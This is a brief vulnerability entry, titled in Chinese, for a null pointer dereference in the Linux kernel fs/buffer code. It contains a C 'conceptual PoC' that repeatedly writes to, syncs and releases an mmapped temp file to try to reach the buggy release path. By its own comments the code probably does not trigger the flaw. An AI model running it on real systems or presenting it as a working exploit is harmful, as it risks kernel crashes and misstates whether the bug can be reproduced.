Linux内核fs/buffer模块空指针解引用漏洞

// Conceptual PoC to trigger the race condition or specific state // Note: Triggering this requires specific kernel state (AS_RELEASE_ALWAYS) // which is usually internal. This is a stress test attempting to hit the path. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> int main() { int fd; void *map; const char *file = "/tmp/test_cve_2025_71295"; // Create a dummy file to map fd = open(file, O_RDWR | O_CREAT, 0666); if (fd < 0) return 1; ftruncate(fd, 4096); // Map the file map = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { close(fd); return 1; } // Force memory pressure or specific operations to invoke release paths // (Real exploitation requires aligning with AS_RELEASE_ALWAYS logic) printf("Attempting to trigger buffer release logic...\n"); // Write to trigger dirtying and potential flush/release paths for(int i=0; i<1000; i++) { *(char*)map = 'A'; msync(map, 4096, MS_SYNC); madvise(map, 4096, MADV_DONTNEED); // Hint kernel to release pages } munmap(map, 4096); close(fd); unlink(file); return 0; }